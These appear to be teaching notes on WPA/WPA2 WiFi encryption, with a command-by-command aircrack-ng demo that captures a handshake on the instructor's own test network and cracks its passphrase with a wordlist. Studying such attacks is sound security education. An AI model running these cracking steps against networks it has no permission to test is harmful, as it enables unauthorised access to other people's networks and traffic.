WPA WiFi Encryption

WPA/WPA2

currently the best WiFi encryption we have

WPA = **W**iFi **P**rotected **A**ccess
designed in response to the weakness found in WEP
originally implemented TKIP (temporary key integrity protocol)
- basically, each packet is encrypted with a different 128-bit key
- also verifies the integrity of packets (like a checksum)

WPA2 replaced TKIP with CCMP
- an AES-based encryption protocol for WiFi
- stronger than TKIP

so your choices are
- WPA with TKIP (ok)
- WPA2 with CCMP (better)

all keys are derived from a master **preshared key** (the one you enter in the WPA configuration)

authentication
- based on a four-way handshake similar to WEP

weakness?
- all packets are encrypted with a different key, so it seems strong!
  - but all of these keys are derived from the single preshared key
- since we know how they are derived (algorithmically), we can simply guess the preshared key
  - we can then try to decrypt packets and look for known encrypted values
- so weak preshared keys are the problem

cracking WPA

****a live demo of the following may occur****

note that any values used here are just examples (i.e., they will be different for you)
you will need a WiFi interface that is capable of being put in monitor mode
- monitor mode: listen to APs without associating (hey, they're just waves!)

it's also best if the device can inject packets
I recommend the Alfa AWUS036NHA (Google/Amazon it)
- or the Alfa AWUS036NH (what I am probably using today)
- **sometimes, the ...NHA can be problematic in Linux**

first, we need aircrack (a suite of tools that largely automates various WiFi activities):

```
sudo apt-get install aircrack-ng
```

we also need a dictionary to base our attacks on
- a dictionary is just a list of words
- the idea is to include words/phrases that may be used as (common) passwords
- we hope that the preshared key is easy to guess and is contained in this dictionary

the demo will be using SSID **civilizations** with passphrase **cyberstorm**
assuming a 192.168.1.* network (192.168.1.0/255.255.255.0)

open **two** terminals

connect the WiFi interface (wlanN)
get name and mac of wlan via **ifconfig** and set the interface name and mac in terminal 1:

```
int=wlx00c0ca40b1b8
mac=00:c0:ca:40:b1:b8
```

get AP specifics in terminal 1:

```
sudo iwlist $int scan | grep -E '(Address:|Channel:|ESSID:)'
```

set in terminals 1 and 2:

```
essid=civilizations
bssid=B4:75:0E:DA:A8:B3
chan=11
```

stop the network manager since it will interfere with aircrack:

```
sudo stop network-manager
```

or

```
sudo /etc/init.d/network-manager stop
```

bring wlan down in terminal 1 (if still up):

```
sudo ifconfig $int down
```

start monitoring in terminal 1 (you must have a WiFi device that supports monitor mode)
for us, it just means that we can see the encrypted packets (but, again, they are encrypted):

```
sudo airmon-ng start $int $chan
```

this should have created a monitor interface (**mon0** in this case)
capture packets in terminal 1:

```
sudo airodump-ng -c $chan --bssid $bssid -w output mon0
```

we now need to capture a handshake

- we can do this manually (someone connects)
- or we can fake an authentication
- this is sometimes a pain, in that airodump doesn't always catch the handshake
  - so try with various devices
- it's also possible that airodump doesn't let you know that it captured the handshake
  - so try to crack in terminal 2 once several devices have authenticated with the network

crack in terminal 2 (or stop capturing packets in terminal 1 and use the same terminal)
this assumes that the dictionary (words.txt) is in the current folder (along with the capture file(s)):

```
sudo aircrack-ng -w words.txt -b $bssid output*.cap
```

of course, if the passphrase is not in the dictionary, then we won't find it!
but the larger dictionary contains the passphrase:

```
sudo aircrack-ng -w morewords.txt -b $bssid output*.cap
```

when successful, stop everything

- press ctrl+c in all terminals that have things running

then stop the monitor interface and clean up in terminal 1:

```
sudo airmon-ng stop mon0
sudo rm output-*.kismet.*
sudo rm output-*.csv
```

if desired, clean up the capture files with the handshake:

```
sudo rm output-*.cap
```

it will also help if you unplug your WiFi interface (if USB) to reset everything

FYI, to restart the network manager:

```
sudo service network-manager start
```

or

```
sudo /etc/init.d/network-manager start
```

or

```
sudo NetworkManager
```